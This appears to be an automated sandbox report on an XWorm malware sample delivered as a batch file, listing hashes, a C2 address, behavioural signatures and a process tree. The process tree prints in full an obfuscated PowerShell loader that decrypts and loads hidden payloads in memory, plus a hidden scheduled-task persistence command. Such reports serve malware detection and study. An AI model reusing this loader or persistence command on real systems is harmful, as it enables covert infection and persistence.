Analysis
- max time kernel
133s - max time network
146s - platform
windows10-1703_x64 - resource
win10-20240404-en - resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system - submitted
07/06/2024, 09:09
Static task
static1
Behavioral task
behavioral1
Sample
Sahara.bat
Resource
win10-20240404-en
9 signatures
150 seconds
Behavioral task
behavioral2
Sample
Sahara.bat
Resource
win7-20240419-en
4 signatures
150 seconds
Behavioral task
behavioral3
Sample
Sahara.bat
Resource
win10v2004-20240508-en
10 signatures
150 seconds
General
- Target Sahara.bat
- Size 304KB
- Sample240607-k4fz2afa92
- SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
- MD5 0315e971e239cdd0ddc7e6b6a69b588f
- SHA1 ebc3c22a51878f367b9be9685d7782ec9f8daf58
- SHA512 0b11a2f5f5ffed7c67812771464a8edd47440bf6ffb85d7a6d29cbc12f32af5a4f180cd3d479ba4268f16c96432538bdfb86cb36ff73877e69fd822aaa7e95c5
- SSDEEP 6144:AKJ35IN40Z4VEzlQOwTEuAhKEyvXeNFAr47U8p7zZUEoPLoTVqrkGyAyaa/W8ymy:AKJpcW0cE3hGvXgAZAzDokTcMBaaO3my
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
xworm
C2
-
politics-cathedral.gl.at.ply.gg:13199
Attributes
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/3300-113-0x0000024068C30000-0x0000024068C4A000-memory.dmp family_xworm - Blocklisted process makes network request 1 IoCs
flow pid Process 2 3300 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 3632 powershell.exe 592 powershell.exe 3300 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3632 powershell.exe 3632 powershell.exe 3632 powershell.exe 592 powershell.exe 592 powershell.exe 592 powershell.exe 3300 powershell.exe 3300 powershell.exe 3300 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3632 powershell.exe Token: SeDebugPrivilege 592 powershell.exe Token: SeIncreaseQuotaPrivilege 592 powershell.exe Token: SeSecurityPrivilege 592 powershell.exe Token: SeTakeOwnershipPrivilege 592 powershell.exe Token: SeLoadDriverPrivilege 592 powershell.exe Token: SeSystemProfilePrivilege 592 powershell.exe Token: SeSystemtimePrivilege 592 powershell.exe Token: SeProfSingleProcessPrivilege 592 powershell.exe Token: SeIncBasePriorityPrivilege 592 powershell.exe Token: SeCreatePagefilePrivilege 592 powershell.exe Token: SeBackupPrivilege 592 powershell.exe Token: SeRestorePrivilege 592 powershell.exe Token: SeShutdownPrivilege 592 powershell.exe Token: SeDebugPrivilege 592 powershell.exe Token: SeSystemEnvironmentPrivilege 592 powershell.exe Token: SeRemoteShutdownPrivilege 592 powershell.exe Token: SeUndockPrivilege 592 powershell.exe Token: SeManageVolumePrivilege 592 powershell.exe Token: 33 592 powershell.exe Token: 34 592 powershell.exe Token: 35 592 powershell.exe Token: 36 592 powershell.exe Token: SeIncreaseQuotaPrivilege 592 powershell.exe Token: SeSecurityPrivilege 592 powershell.exe Token: SeTakeOwnershipPrivilege 592 powershell.exe Token: SeLoadDriverPrivilege 592 powershell.exe Token: SeSystemProfilePrivilege 592 powershell.exe Token: SeSystemtimePrivilege 592 powershell.exe Token: SeProfSingleProcessPrivilege 592 powershell.exe Token: SeIncBasePriorityPrivilege 592 powershell.exe Token: SeCreatePagefilePrivilege 592 powershell.exe Token: SeBackupPrivilege 592 powershell.exe Token: SeRestorePrivilege 592 powershell.exe Token: SeShutdownPrivilege 592 powershell.exe Token: SeDebugPrivilege 592 powershell.exe Token: SeSystemEnvironmentPrivilege 592 powershell.exe Token: SeRemoteShutdownPrivilege 592 powershell.exe Token: SeUndockPrivilege 592 powershell.exe Token: SeManageVolumePrivilege 592 powershell.exe Token: 33 592 powershell.exe Token: 34 592 powershell.exe Token: 35 592 powershell.exe Token: 36 592 powershell.exe Token: SeIncreaseQuotaPrivilege 592 powershell.exe Token: SeSecurityPrivilege 592 powershell.exe Token: SeTakeOwnershipPrivilege 592 powershell.exe Token: SeLoadDriverPrivilege 592 powershell.exe Token: SeSystemProfilePrivilege 592 powershell.exe Token: SeSystemtimePrivilege 592 powershell.exe Token: SeProfSingleProcessPrivilege 592 powershell.exe Token: SeIncBasePriorityPrivilege 592 powershell.exe Token: SeCreatePagefilePrivilege 592 powershell.exe Token: SeBackupPrivilege 592 powershell.exe Token: SeRestorePrivilege 592 powershell.exe Token: SeShutdownPrivilege 592 powershell.exe Token: SeDebugPrivilege 592 powershell.exe Token: SeSystemEnvironmentPrivilege 592 powershell.exe Token: SeRemoteShutdownPrivilege 592 powershell.exe Token: SeUndockPrivilege 592 powershell.exe Token: SeManageVolumePrivilege 592 powershell.exe Token: 33 592 powershell.exe Token: 34 592 powershell.exe Token: 35 592 powershell.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3604 wrote to memory of 3632 3604 cmd.exe 74 PID 3604 wrote to memory of 3632 3604 cmd.exe 74 PID 3632 wrote to memory of 592 3632 powershell.exe 75 PID 3632 wrote to memory of 592 3632 powershell.exe 75 PID 3632 wrote to memory of 2152 3632 powershell.exe 78 PID 3632 wrote to memory of 2152 3632 powershell.exe 78 PID 2152 wrote to memory of 1444 2152 WScript.exe 79 PID 2152 wrote to memory of 1444 2152 WScript.exe 79 PID 1444 wrote to memory of 3300 1444 cmd.exe 81 PID 1444 wrote to memory of 3300 1444 cmd.exe 81
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sahara.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3604 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Sahara.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Sahara.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3632 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_632_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_632.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:592
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_632.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_632.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_632.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_632.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3300
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
- MD5 8592ba100a78835a6b94d5949e13dfc1
- SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
- SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 7a0e5fda0f4b068cd5dc8834d2b45a1102219e606098d0de27f6d331d14ef7c9
- MD5 ab64146204d66061fe4c21f85f2c5716
- SHA1 356e840a0baf272181fa336020201f53ecfd56d8
- SHA512 50fb9c39b7b9ef62f06b8c8eace49734b1f3ce22a5e20eab2da342e2bdc12316b0f06ba12b09fcac0c53a39c606daced67605e67517e9e606fb639f9522b1913
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_avvsjuxr.4m2.ps1
- Size 1B
- SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
- MD5 c4ca4238a0b923820dcc509a6f75849b
- SHA1 356a192b7913b04c54574d18c28d46e6395428ab
- SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\startup_str_632.bat
- Size 304KB
- SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
- MD5 0315e971e239cdd0ddc7e6b6a69b588f
- SHA1 ebc3c22a51878f367b9be9685d7782ec9f8daf58
- SHA512 0b11a2f5f5ffed7c67812771464a8edd47440bf6ffb85d7a6d29cbc12f32af5a4f180cd3d479ba4268f16c96432538bdfb86cb36ff73877e69fd822aaa7e95c5
- SSDEEP 6144:AKJ35IN40Z4VEzlQOwTEuAhKEyvXeNFAr47U8p7zZUEoPLoTVqrkGyAyaa/W8ymy:AKJpcW0cE3hGvXgAZAzDokTcMBaaO3my
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\startup_str_632.vbs
- Size 115B
- SHA256 4049c544dddfd7bd1b7214173f190b6312e8e9b4b4667d3d517d4b5502250cfd
- MD5 16fbb83afd03cd6e0feb46530bf77882
- SHA1 4634a5c1b2b6687c9140f3db11091740348a52f3
- SHA512 eee9355efecd72014ae03b1e0fb9ace30bcb7073fe2c537b8f459c6fd06366d79a24e3d1407ed86a1823b4b1e8f8695e0dd291d7a99a4c29b870300535f41308
- MD5 SHA1 SHA512